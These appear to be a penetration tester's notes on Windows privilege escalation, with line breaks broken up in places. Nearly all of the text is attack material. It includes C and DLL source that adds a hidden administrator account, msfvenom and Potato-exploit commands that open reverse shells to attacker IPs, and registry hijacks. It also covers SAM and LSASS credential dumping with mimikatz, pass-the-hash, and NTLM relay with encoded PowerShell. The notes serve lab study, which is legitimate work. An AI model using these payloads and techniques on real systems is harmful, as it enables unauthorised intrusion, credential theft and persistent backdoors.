Windows Privilege and Access Control
S-R-X-Y
Collecting Environment Data
whoami
Get-LocalGroup
Get-LocalGroupMember {group name}
systeminfo
ipconfig /all
, route print
, netstat -ano or -q
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node{can_be_removed}\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
- displays all removable applications
select displayname
to return all info, like file pathGet-Process
Get-Process | Select ProcessName,Path
Get-ChildItem Env:
Searching for Sensitive Information
{dir/ls} -force
Get-ChildItem -Path C:\Users -Include *.txt, *.ini, -File -Recurse -ErrorAction SilentlyContinue -force
findstr /si {password/pass/pwd/cred/vnc} *.{txt/ini/xml/config}
runas /user:{username} {program, like powershell.exe}
Find sensitive PowerShell information
(Get-PSReadlineOption).HistorySavePath
- ENTIRE PowerShell historyApplications and Services Logs > Microsoft > Windows > PowerShell > Operational
and scroll through logsdownload {filename}
upload {filename}
evil-winrm -i {IP} -u {username} -p {password}
evil-winrm -i {IP} -c certificate.pem -k priv-key.pem -S
Automated tools
winpeas.exe --fileanalysis
to analyze fileshttps://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe
Hijacking Service Binaries
Get-CimInstance
to query services of WMI (Windows Management Instrumentation) class
Get-CimInstance -ClassName win32_service | Select Name,State,Pathname | Where-Object {$_.State -like 'Running'}
icacls
or Get-ACL
icacls "{executable path}"
system()
sudo apt install mingw-w64
x86_64-w64-mingw32-gcc newuser.c -o newuser.exe
python3 -m http.server
iwr -uri http://{kali_IP}:8000/newuser.exe -Outfile newuser.exe
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user kali Password123! /add");
i = system ("net localgroup administrators kali /add");
i = system ("net localgroup "Remote Desktop Users" kali /add");
return 0;
}
net stop {service}
, but access will likely be deniedStartMode
is set to “Auto”, we can reboot the system (if permissions allow)
Hijacking Service DLLs
Get-ItemProperty "HKLM:\SOFTWARE\(optional)Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
to find installed software$env:path
), so we put it therecase DLL_PROCESS_ATTACH
:
int i; i = system("net user /ADD tempuser"); i = system("net localgroups administrators /ADD tempuser"); break;
--shared
flag
x86_64-w64-mingw32-gcc dll.cpp --shared -o dll.dll
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user kali kali123! /add");
i = system ("net localgroup administrators kali /add");
i = system ("net localgroup "Remote Desktop Users" kali /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
.bat files
C:\Users\Public\reverseshell.exe
Abusing Unquoted Service Paths
wmic
in cmd:
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
Using Scheduled Tasks
Get-ScheduledTask
or schtasks /query /fo LIST /v
{workgroup}\
, which will return things authored by people like CLIENTWK220\daveadmin
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Registry
HKLM\system\currentcontrolset\services\<service> (Interactive [FullControl])
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
accesschk \accepteula -uvwqk "{path}"
reg query {registry_path}
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v {file_path_entry} /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msfvenom -p windows/x64/shell_reverse_tcp LHOST={IP} LPORT={port} --platform windows -f msi > reverse.msi
msiexec /quiet /qn /i reverse.msi
Abusing Privileges to Execute Code as Privileged Users
whoami /priv
SeImpersonatePrivilege
, SeBackupPrivilege
, SeAssignPrimaryToken
, SeLoadDriver
, SeTakeOwnershipPrivilege
or SeDebugPrivilege
, we can sometimes perform operations in the security context of another user
SeBackupPrivilege
and SeRestorePrivilege
, we can read arbitrary files with robocopy: robocopy /b C:\<path to file> .\<filename>
reg save hklm\sam C:\Users\{current_user}\sam
reg save hklm\system C:\Users\{current_user}\system
dir /s {SAM/SYSTEM}
impacket-secretsdump -sam sam -system system LOCAL
SeDebugPrivilege
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz
(run log so output is in txt) and run sekurlsa::minidump lsass.dmp
SeTakeOwnershipPrivilege
SeImpersonatePrivilege
to impersonate the user account and perform operations in their security contextSeImpersonatePrivilege
wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe
.\PrintSpoofer64.exe -i -c powershell.exe
.\SweetPotato.exe -e EfsRpc -p c:\Users\Public\nc.exe -a "10.10.10.10 1234 -e cmd"
works pretty wellC:\Users\Public\JuicyPotato.exe -l 1337 -p C:\Windows\system32\cmd.exe -a "/c C:\Users\Public\nc.exe 10.10.14.235 4444 -e cmd.exe" -t *
GodPotato.exe -cmd "cmd /c reverse.exe"
GodPotato.exe -cmd "powershell -e ...."
Get-ChildItem -Recurse -Filter *.kdbx
.\mimikatz.exe
privilege::debug
gives us the SeDebugPrivilege
to run below commandstoken::elevate
to elevate to SYSTEM userlsadump::sam
will dump NTLM hashes of local userssekurlsa::logonpasswords
will look for clear-text passwords, dump NTLM hashes (including domain users), and dump Kerberos tickets.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::msv" "lsadump::sam" "exit"
hashcat -m 1000 {hash} {password_list} -r {mutations} --force
smbclient
and crackmapexec
impacket
-> psexec.py\/wmiexec.py
Mimikatz
can also pass-the-hashsmbclient
smbclient \\\\{IP}\\{SMB_share_endpoint} -U Administrator --pw-nt-hash {hash_from_Mimikatz}
psexec.py
impacket-psexec -hashes {32_zeroes}:{hash} {DOMAIN}/{user}@{IP}
andimpacket-wmiexec -hashes {32_zeroes}:{hash} {DOMAIN}/{user}@{IP}
sudo responder -I {network interface (like tap0)}
to run responder on any given network interfacedir \\{Our_machine_IP}\share
on the machine running the responder server
\\{our_IP}\share\xyz)
and the application may try to reach out for the file
//{IP}/share.php
as the filenamesudo impacket-ntlmrelayx --no-http-server -smb2support -t {IP} -c "powershell -enc {base64_command}"
dir
from the machine we own against the ntlmrelayx machine, which will immediately pass the hash received onto the target machine